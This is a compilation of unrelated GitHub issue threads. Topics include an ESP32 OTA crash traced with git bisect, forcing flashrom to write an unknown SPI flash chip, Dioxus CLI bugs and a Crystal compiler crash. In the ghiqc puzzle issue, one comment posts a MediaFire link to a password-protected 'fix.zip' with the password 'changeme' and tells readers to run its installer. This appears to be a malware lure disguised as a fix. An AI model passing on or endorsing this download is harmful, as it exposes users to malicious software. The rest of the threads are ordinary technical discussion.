A6      : 0x3ffb7c68  A7      : 0x3ffb1610  A8      : 0x8012012f  A9      : 0x3ffc1b40
A10     : 0x00000000  A11     : 0x00000000  A12     : 0x00000000  A13     : 0x00000000
A14     : 0x00000011  A15     : 0x00000000  SAR     : 0x0000000f  EXCCAUSE: 0x00000000
EXCVADDR: 0x00000000  LBEG    : 0x4000c2e0  LEND    : 0x4000c2f6  LCOUNT  : 0xffffffff
Backtrace:0x4012015e:0x3ffc1b60 0x40091dc1:0x3ffc1bd0 0x40091eb1:0x3ffc1bf0 0x40090237:0x3ffc1c30 0x400877f1:0x3ffc1c60
0x4012015e: pm_on_beacon_rx at ??:?
0x40091dc1: ppRxProtoProc at ??:?
0x40091eb1: ppRxPkt at ??:?
0x40090237: ppTask at ??:?
0x400877f1: vPortTaskWrapper at /home/axel/esp/esp-idf/components/freertos/xtensa/port.c:143
ELF file SHA256: 46ec82bc772be69b
Rebooting...
ets Jun  8 2016 00:22:57

D (9126) HTTP_CLIENT: http_on_body 289
D (9126) simple_ota_example: HTTP_EVENT_ON_DATA, len=289
Guru Meditation Error: Core  0 panic'ed (LoadProhibited). Exception was unhandled.
Core  0 register dump:
PC      : 0x4011ffe2  PS      : 0x00060130  A0      : 0x80091dc4  A1      : 0x3ffc1b60
0x4011ffe2: pm_on_beacon_rx at ??:?
A2      : 0x007323cd  A3      : 0x3ffcb720  A4      : 0x3ffcb7f3  A5      : 0x829b2305
A6      : 0x00000001  A7      : 0x00060023  A8      : 0x3ffb7c68  A9      : 0x3ffc1b90
A10     : 0x00000001  A11     : 0x3ffb7c6b  A12     : 0x00000006  A13     : 0x3ffc1c38
A14     : 0x00000011  A15     : 0x00000000  SAR     : 0x00000018  EXCCAUSE: 0x0000001c
EXCVADDR: 0x829b2305  LBEG    : 0x4000c2e0  LEND    : 0x4000c2f6  LCOUNT  : 0xffffffff
Backtrace:0x4011ffdf:0x3ffc1b60 0x40091dc1:0x3ffc1bd0 0x40091eb1:0x3ffc1bf0 0x40090237:0x3ffc1c30 0x400877f1:0x3ffc1c60
0x4011ffdf: pm_on_beacon_rx at ??:?
0x40091dc1: ppRxProtoProc at ??:?
0x40091eb1: ppRxPkt at ??:?
0x40090237: ppTask at ??:?
0x400877f1: vPortTaskWrapper at /home/axel/esp/esp-idf/components/freertos/xtensa/port.c:143
ELF file SHA256: 46ec82bc772be69b
Rebooting...
ets Jun  8 2016 00:22:57

Just found redirect idf.monitor output does not show backtrace.
I manually copy-paste the output as attached file.
ota-debug-monitor3.txt

Hi @shubhamkulkarni97
I tried the other device and it does not hit panic.
I notice this panic device's efuse-summary looks slightly different from the other device.
(Identity fuses now display at the end of the output)
I attached the efuse summary output for comparison.
efuse-summary-good.txt: The other device which is working (for comparison)
efuse-default.txt: This is the efuse summary before enabling flash encryption (of the panic device). It looks quite normal before enabling flash encryption.
For this device, I did below commands before downloading firmware:
$ espefuse.py burn_key flash_encryption my_flash_encryption_key.bin
$ espefuse.py  burn_efuse FLASH_CRYPT_CONFIG 15
$ espefuse.py burn_efuse FLASH_CRYPT_CNT 1
$ espefuse.py burn_efuse JTAG_DISABLE
$ espefuse.py burn_efuse DISABLE_DL_DECRYPT
$ espefuse.py burn_efuse DISABLE_DL_CACHE
Do you find anything wrong?
efuse-default.txt
efuse-summary-good.txt

Hi @shubhamkulkarni97
I notice if I set FREERTOS_UNICORE=y, I always got "Task watchdog got triggered". See attached log file. This is probably off-topic because FREERTOS_UNICORE is not set in my application firmware. Just FYI.
ota_freertos_unicore.txt

Hi @AxelLin,
EFUSE summary looks good to me in both the cases, there is only change in order summary is displayed. The commands you used to enable flash encryption are also correct.
We think there might be a race condition in hardware acceleration when flash encryption is enabled.
Can you disable all hardware accelerators in mbedtls and try performing OTA on board which resulted in a crash?
You can disable following options in sdkconfig:

MBEDTLS_HARDWARE_AES
MBEDTLS_HARDWARE_MPI
MBEDTLS_HARDWARE_SHA

Please share console logs after disabling mbedtls hardware acceleration.

Hi @shubhamkulkarni97
I have disabled all hw acceleratiors:
CONFIG_MBEDTLS_ECP_RESTARTABLE is not set
CONFIG_MBEDTLS_CMAC_C is not set
CONFIG_MBEDTLS_HARDWARE_AES is not set
CONFIG_MBEDTLS_HARDWARE_MPI is not set
CONFIG_MBEDTLS_HARDWARE_SHA is not set
CONFIG_MBEDTLS_ATCA_HW_ECDSA_SIGN is not set
CONFIG_MBEDTLS_ATCA_HW_ECDSA_VERIFY is not set
But still got panic, see attached log
ota_disable_hw_accel.txt

Hi @shubhamkulkarni97
I run git bisec and found:
dbdce93d23959ffbac769f2aceefecf2c27c7857 is the first bad commit
commit dbdce93d23959ffbac769f2aceefecf2c27c7857
Author: Angus Gratton<EMAIL_ADDRESS>Date:   Thu Apr 16 21:31:13 2020 +1000
spi_flash: Use per-chip flash_ops files for legacy API

Looks like when ESP32-S2 Beta support was merged, the separate files
were dropped by accident.

components/spi_flash/CMakeLists.txt              |   1 +
components/spi_flash/esp32/flash_ops_esp32.c     |   4 +
components/spi_flash/esp32s2/flash_ops_esp32s2.c |   3 +
components/spi_flash/flash_ops.c                 | 129 +----------------------
4 files changed, 11 insertions(+), 126 deletions(-)
Please check what's wrong in above commit.
Note this issue also happen on release/v4.2 branch.
BTW, seems you cannot reproduce this issue on your device.
I can help testing it if you post the fix here.

@AxelLin
We have tried on multiple boards/modules on our side but so far have not been able to reproduce this issue.
eFuse summary looks pretty similar for both devices that you had provided. Ordering issue in Identity Fuses will be fixed soon in espefuse.py script.

Can you please confirm that this issue is observed on only single ESP32-WROOM-32 module on your side? Any specific hardware or its standard ESP32-DevKitC?
Do you see any other issue during firmware execution apart from crash during OTA on that specific module?
For commit you mentioned above, can you please try enabling CONFIG_SPI_FLASH_USE_LEGACY_IMPL and provide your observations? (Additionally enabling CONFIG_SPI_FLASH_VERIFY_WRITE and CONFIG_SPI_FLASH_LOG_FAILED_WRITE can also help)
Also please help to confirm if you see similar issue with release/v3.3 branch?

Thanks.

Hi @mahavirj

We use ESP32-WROOM-32 module on our customized board not standard ESP32-DevKitC.
I only tested on 2 devices (I was worried that if I did something wrong I may damage more devices):
one hit panic but the other one looks fine.

I don't see any other issue running on this panic module.

Set SPI_FLASH_USE_LEGACY_IMPL=y does not help (on master tree)
Set SPI_FLASH_VERIFY_WRITE && SPI_FLASH_LOG_FAILED_WRITE seems does not help, I don't see more log, and it still panic.
The console output the same as these options are not set.

It seems I cannot build with v3.3 with my current gcc (2020r2).
I checkout to v3.3 branch but the build fails.
But I confirmed relese/4.0 works.

BTW, I tried revert commit dbdce93 on current master tree, then it works no matter SPI_FLASH_USE_LEGACY_IMPL is set or not.

Hi @mahavirj  @shubhamkulkarni97
I'm wondering if esp32 also needs similar fix as esp32s (commit bb0a95b17c45a6b648c30aece6f58b23a95949a5)
By comment out esp_rom_spiflash_unlock() in spi_flash_write_encrypted_chip(), then the panic seems gone.
https://gist.github.com/AxelLin/40da2529ad386662261cc84ff9608c68

@AxelLin Thanks for sharing pointers, I am checking on this, will revert back soon.

@mahavirj
Just FYI, this issue was closed because the fix is in master tree.
However, the fix is not yet in 4.1 and 4.2 branches now.

@AxelLin
Backport fixes have been merged in v4.2 and v4.1 branches as well. Once these branches pass internal CI, they will sync to github.


Xarray and Sliderule IO Improvements

[ ] Closes #xxxx
[ ] Tests added
[ ] Tests passing
[ ] Full type hint coverage
[ ] Changes are documented in docs/releases.rst
[ ] New functions/methods are listed in api.rst
[ ] New functionality has documentation

@Jack-Hayes I'm going to merge this since it has useful functions for AGU prep. Note this takes largely takes care of what you started in #30 but still would love your help with tests, docs, and any features you think are still missing (like the polygon validation).

Gotcha! I'm hoping to implement that test and an example notebook for the docs once I make the loading faster with dask if that sounds good to you

Great to explore dask, but it should be optional.
Hoping we can offer options to directly load overviews (instead of full-res raster) from COGs, or load coarser raster products.


Shanewidanagama patch 1

@shanewidanagama Please sign the Contributor License Agreement!
Click here to manually synchronize the status of this Pull Request.
See the FAQ for frequently asked questions.

Spam. Please don't use a public repository for your tests!


Megathread: cli 0.6.0-alpha quirks/issues/ux/perf

Problem
We have a number of quirks / bugs in the CLI post-rewrite that need to be resolved before releasing to the general public.
This issue is where we put them.

[ ] Fullstack server takes a moment to start leading to the default-router's "connection refused" screen
[ ] The tui sidebar makes it impossible to copy logs - needs to be moved to a row #2846
[ ] The tui scrolling is just janky/slow/hacky Improved in #2846
[ ] The tui "modal" is not complete at all and needs more helpful info (summary of config, urls for dev server, process names, etc)
[ ] Missing logs for downloading/compiling dependency crates
[ ] tracing annotations make it harder for vscode to implement jump-to-file
[x] Fullstack is just broken due to a port forwarding issue
[x] Asset collection causes unnecessary recompiles due to thrashing of env vars in build scripts
[ ] CWD for bundle (used by icon search) is just wrong leading to #2344
[ ] We don't invalidate literals in hotreloading that are the same as the original, meaning you can hotreload true -> false but not back to true
[ ] We don't send down old hotreloaded templates to new clients anymore
[ ] We don't properly set cors/CSP/XSRF headers on assets to clients in dev
[ ] Collecting and optimizing assets should be optional/skipped in dev mode in favor of just copying assets #2844
[ ] we should print the resolved config on a panic in the cli for better debugging
[ ] wasm-bindgen crashing nukes our TUI

[ ] Fullstack is just broken due to a port forwarding issue

Is this the same as:

[ ] "Failed to find index.html" Fullstack panic

[app] thread 'main' panicked at /cargo/git/checkouts/dioxus-1e619ce595d3799d/bd58a92/packages/fullstack/src/serve_config.rs:91:37:
[app] 2024-08-04T12:04:46.395679Z  WARN dioxus_cli_config: A library is trying to access the crate's configuration, but the dioxus CLI was not used to build the application.
[app] Failed to find index.html. Make sure the index_path is set correctly and the WASM application has been built.: Os { code: 2, kind: NotFound, message: "No such file or directory" }
[app] note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

?

[ ] Some messages sometimes are written on top of the UI

I will non-CLI issues here (but they are emerged from dx serve):

[ ] After a successful build, removing any of the a {} elements (including the img itself) causes the img/SVG to disappear without the ability to restore it (only via tab reload).
    rsx! {
        head::Link { rel: "stylesheet", href: asset!("./assets/main.css") }
        img { src: asset!("./assets/header.svg"), id: "header" }
        div { id: "links",
            a { href: "https://dioxuslabs.com/learn/0.5/", "📚 Learn Dioxus" }
            a { href: "https://dioxuslabs.com/awesome", "🚀 Awesome Dioxus" }
            a { href: "https://github.com/dioxus-community/", "📡 Community Libraries" }
            a { href: "https://github.com/DioxusLabs/dioxus-std", "⚙ Dioxus Standard Library" }
            a { href: "https://marketplace.visualstudio.com/items?itemName=DioxusLabs.dioxus",
                "💫 VSCode Extension"
            }
            a { href: "https://discord.gg/XgGxMSkvUM", "👋 Community Discord" }
        }
    }

Add to the list:

[ ] Desktop logs aren't outputted in the terminal until the app exits.

Another thing to discuss: #2857

Fullstack is just broken due to a port forwarding issue

Is this the same as (I no longer think it's the same issue and I don't have the port forwarding issue):
* [x]  "Failed to find index.html" Fullstack panic
  ```
  [app] thread 'main' panicked at /cargo/git/checkouts/dioxus-1e619ce595d3799d/bd58a92/packages/fullstack/src/serve_config.rs:91:37:
  [app] 2024-08-04T12:04:46.395679Z  WARN dioxus_cli_config: A library is trying to access the crate's configuration, but the dioxus CLI was not used to build the application.
  [app] Failed to find index.html. Make sure the index_path is set correctly and the WASM application has been built.: Os { code: 2, kind: NotFound, message: "No such file or directory" }
  [app] note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
  ```

I have been able to work around this in 0.6.0-alpha.2 by setting out_dir to dist/public. It looks like https://github.com/DioxusLabs/dioxus-template/pull/44 should be adjusted to use this since https://github.com/DioxusLabs/dioxus/blob/1dfa1b5e7f39b8ccd2e6b18bd9077d05e82d5504/packages/fullstack/src/serve_config.rs#L57 will use public_path() if index_path is not set.

@Andrew15-5 I'm not sure if we will still have filtering as the TUI has been redone to be a viewport with println-like logs.

the TUI has been redone

What? Where? I compiled the latest version a few hours ago. Are you talking about the future that hasn't come yet?

TUI has been rewritten and there are new bugs of course, but most of these have been solved


Original spi flash can not be written

The hack writing the the SPI Flash is working fine on china devices. But not on the Orignal.
It is an unknown SPI Flash, at least i could not find any information. It identifies itself with:
id1 0x1f (vendor id normally atmel), id2 0x4200 (device id).
It is possible to read it with flashrom with the -f flag (force). Checked MD5sum after decrypting it is exactly the same Firmware image.
But it is not possible to write the Flash.
I checked the following:

Could not find a datasheet for the spi flash. Maybe somebody knows more here.
write protect is high... (So disable i think... No datasheet).
I hacked the flashrom tool so it acts like it does on the china copy. (GD25Q20). It tries to write but verify will fail on one byte -> still the old image. Just changed the device id's in the source.

I have some ideas but they are a lot of work.

Find a compatible SPI Flash and bye it. Replace the original.
Take the Flash from a copy and solder it to the original.
Emulate the SPI flash with the ESP32. (Maybe original chip can stay if the hold pin is held low)
And of cause: Find a JTAG tool and use the alternative way...
Edit: Just discovered that spi flash needs to be written for JTAG too.

I think it is possible you will have the same issue with the OTA Hack. Maybe the Flash is just protected in some way and need to be handled as otp. If you want and if you don't have an original device, i can help you testing.
Regards

However it is working now.
Maybe because i set very low speed for writing the flash.
The problem is the SPI Flash on the original device can not be detected by the flashrom tool.
Manufactor ID: 0x1F
Chip ID Byte1: 0x42
Chip ID Byte2: 0x00

I have a China copy too. With a SPI Flash that identifies as:
GD25Q20(B)

As there is the same ble controller on both devices I tried to force flashrom to act identical i both cases.
What i did to force the flashrom tool to write on it:
Download source for the flashtool.
flashrom on github
edit flashchips.h
change this line:
#define GIGADEVICE_ID           0xC8

into:
#define GIGADEVICE_ID           0x1F

And this line:
#define GIGADEVICE_GD25Q20    0x4012  /* Same as GD25QB */

into:
#define GIGADEVICE_GD25Q20      0x4200

Compile the flashrom.
Then flash the SPI Flash with this command:
./flashrom -VVV -c "GD25Q20(B)" -p linux_spi:dev=/dev/spidev0.0,spispeed=300 -w filetoflash.bin

I tried with higher speed the first time. Maybe this was the problem. But don't know for sure.
You can read the flash like this:
flashrom -V -p linux_spi:dev=/dev/spidev0.0,spispeed=3000 -f -r filetodownload.bin

Reading the Flash needs no modification it can be forced.
Maybe there is a more simple way to force flashrom to act like there is a GD25Q20 SPI Flash. I'm a very bad user until i read the source and this is to much work. But this worked in my case. Maybe in your too. Good luck.

Ok, I hope it can help other users that may face the same problem.

@masterxq what version of flashroom use?

I think i cloned the latest from the repo at the day i wrote. But not completely sure. Always doing stuff like this in /tmp/ so can not tell you for sure.


New tab in Terminal.app during Watch Mode does not open to PWD

Do you want to request a feature or report a bug?
Bug
What is the current behavior?
When I open a new tab in Terminal.app during watch mode, it doesn't open in my current working directory. I'm not sure why. Here's a gif:

I've tried to repro this with both iterm2 and Terminal.app and zsh and bash and couldn't repro.
Here are the settings I used (+ the bash overwrite):

It looks like this is related to your setup. When I use zsh, for example, it doesn't ever open the new tab in the current working directory of the previously active tab.


github_issue.rs:31-34: Pass Fake GitHub in order to test...

The puzzle 36-8e823206 from #36 has to be resolved:
https://github.com/h1alexbel/ghiqc/blob/44c6827b11d2fe04729f18a9abd248a150950938/src/github/github_issue.rs#L31-L34
The puzzle was created by @h1alexbel on 26-Aug-24.
Estimate: 30 minutes,  role: DEV.
If you have any technical questions, don't ask me, submit new tickets instead. The task will be "done" when the problem is fixed and the text of the puzzle is removed from the source code. Here is more about PDD and about me.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@0pdd Main quality problem: Lack of clear problem description. Suggestion: Add a concise summary of ...

I see you're talking to me, but I can't reply since I'm not a chat bot.

@0pdd Main quality problem: Lack of clear problem description. Suggestion: Add a concise summary of ...

I see you're talking to me, but I can't reply since I'm not a chat bot.


Add PATCH

and fix overrides description

🚀 Deployed on https://62e30287655bd316d42fc3ce--cozy-fox-0defec.netlify.app


net/tcp: support bind the same port with different domain

Summary
net/tcp: support bind the same port with different domain
Reference here:
https://man7.org/linux/man-pages/man7/ipv6.7.html
IPV6_V6ONLY slice
Signed-off-by: chao.an<EMAIL_ADDRESS>Impact
N/A
Testing
bind() the same port on ipv4/6 socket

@antmerlino could you take some time to review this patch?


Prevent Ref where Ref is not allowed

Ran into these today; making an issue here so they're not forgotten (I'd like to provide a patch+PR for this, but I can't take the time immediately).

[ ] GetAtt will not validate if the parameters are not strings. I had GetAtt(Ref(db_cluster), "Endpoint.Address"), which worked fine on the troposphere side, but failed on the cfn side. Need GetAtt(db_cluster, "Endpoint.Address")
[ ] similarly, DependsOn takes a string (or list of strings) and not a reference. DependsOn=Ref(db_cluster) fails on the cfn side; DependsOn=db_cluster works.

I see; it's only on certain kinds of Ref that GetAtt fails, then. That's fair. My use case was on a created resource, not a parameter.


NTR:   membrane tethering

NTR:membrane tethering
A process in which a protein or proteins, associated with a  membrane interacts selectively and non-covalently with  another protein, protein complex  or  organelle, in order to maintain the a specific membrane location.
NTR: nuclear membrane tethering
synonym "tethering at the nuclear periphery”
Def
A process in which a protein or proteins associated with the nuclear membrane (often in the nuclear lumen) interacts selectively and non-covalently with  another protein, protein complex  or organelle, in order to maintain the  specific membrane  associated location.
--rename -> GO:1990933    microtubule cytoskeleton attachment to nuclear envelope -> nuclear membrane cytoskeleton attachment
NTR nuclear membrane chromosome attachment
--GO:0097240    chromosome attachment to the nuclear envelope
--GO:0120109    mitotic telomere clustering and tethering at nuclear periphery
-- GO:0070197     meiotic attachment of telomere to nuclear envelope

other membrane tethering and vesicle tethering processes could also go under here?

might be useful
https://www.ncbi.nlm.nih.gov/pubmed/29359129?dopt=Abstract

Is this different from the parent class 'membrane docking' ? 'The initial attachment of a membrane or protein to a target membrane. Docking requires only that the proteins come close enough to interact and adhere.'

Good question:
https://github.com/geneontology/go-ontology/issues/18464

I'll close this as out of date because most are now in function.
I have processes where required.


thunderbird-bin: 45.1.0 -> 45.1.1

Motivation for this change

Bug fixes

https://www.mozilla.org/en-US/thunderbird/45.1.1/releasenotes/
Things done

[X] Tested using sandboxing
(nix.useSandbox on NixOS,
or option build-use-sandbox in nix.conf
on non-NixOS)
Built on platform(s)

[X] NixOS
[ ] OS X
[ ] Linux

[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[X] Tested execution of all binary files (usually in ./result/bin/)
[X] Fits CONTRIBUTING.md.

Tested and works. Thanks.


Module validation failed: Stored value type does not match pointer operand type!

Sorry Im not able to minimize the problem and provide a smaller sample code to reproduce, I'm not entirely sure what the issue is.
The spec's aren't passing anymore in my repo google_maps_api.  The tests were all previously passing, I just updated spec2 to use the master branch and now i'm getting an error that I'm unable to debug.
Module validation failed: Stored value type does not match pointer operand type!
  store %"GoogleMapsApi::Distance"* %187, i32** %198
 i32*
[4402562305] *raise<Exception>:NoReturn +81
[4402562092] *raise<String>:NoReturn +92
[4412022754] *LLVM::Module#verify:Nil +690
[4412018614] *Crystal::CodeGenVisitor#finish:Hash(String, LLVM::Module) +806
[4411264254] *Crystal::Compiler#codegen<Crystal::Program, Crystal::ASTNode+, Array(Crystal::Compiler::Source), String>:(Array(String) | Nil) +1246
[4416069925] *Crystal::Command#run_command<Bool>:Nil +277
[4403088229] *Crystal::Command#run:(Array(Crystal::ImplementationTrace) | Array(Crystal::Init::View+:Class) | Array(String) | Bool | Crystal::Compiler::Result | Hash(String, String) | IO::FileDescriptor | Nil) +4005
[4402691350] main +24278

Error: you've found a bug in the Crystal compiler. Please open an issue, including source code that will allow us to reproduce the bug: https://github.com/crystal-lang/crystal/issues

This can be reproduced by checking out the repo and running crystal spec

The error happens at this line trying to reuse the JSON.mapping of Distance by inheritance. Using JSON.mapping in Duration directly makes the project work:
class Duration
  JSON.mapping({
    text:  String,
    value: Int32,
  })
end

I haven't found a reduced example that reproduces the crash though :disappointed:

Thanks @cjgajard  !
I have updated master with this fix.  I created a branch if anyone else would like to reproduce the error here - crash branch

@fridgerator Thank you! I'll use that branch later to reproduce and fix the problem :-)

Reduced:
class Foo
end

class Bar < Foo
end

foo = 1 == 2 ? nil : Foo.new
x = foo.as(Foo)

👍

Not sure if this change is already effective, but I'm using what I suppose it's the latest compiler release:
$ crystal version
Crystal 0.20.4 [d1f8c42] (2017-01-06)

and this code still crashes the compiler:
struct Time
end

dict = {} of Symbol => { Time, ->Void }

dict.each { |x|
	x = { Time.new, x[1] }
}

Result:
Module validation failed: Stored value type does not match pointer operand type!
  store %"Tuple(Time, Proc(Nil))"* %113, %"Tuple(Time, Proc(Nil))"* %112
 %"Tuple(Time, Proc(Nil))" = type { %Time, %"->" }
0x55690e: ??? at ??
0x1349a7b: ??? at ??
0x12a3ddd: ??? at ??
0x5a74e3: ??? at ??
0x57b8cd: main at ??
0x7f172b4222b1: __libc_start_main at ??
0x556231: ??? at ??

Error: you've found a bug in the Crystal compiler. Please open an issue, including source code that will allow us to reproduce the bug: https://github.com/crystal-lang/crystal/issues

@silverweed Thank for reporting this. When the compiler says "Module validation failed" it means there's something wrong in the codegen, but not necessarily that it is related to an existing bug. In fact, since this issue is closed it probably means there issue is something else. I reported it as #3907

Yeah, I should've thought about opening a new issue rather than bumping this one, pardon me.
Thing is, that was a fragment of code I had commented out several months ago with the note "uncomment when #3512 is fixed", so I posted here without thinking twice...but I honestly cannot remember why I had related this bug to that code in the first place.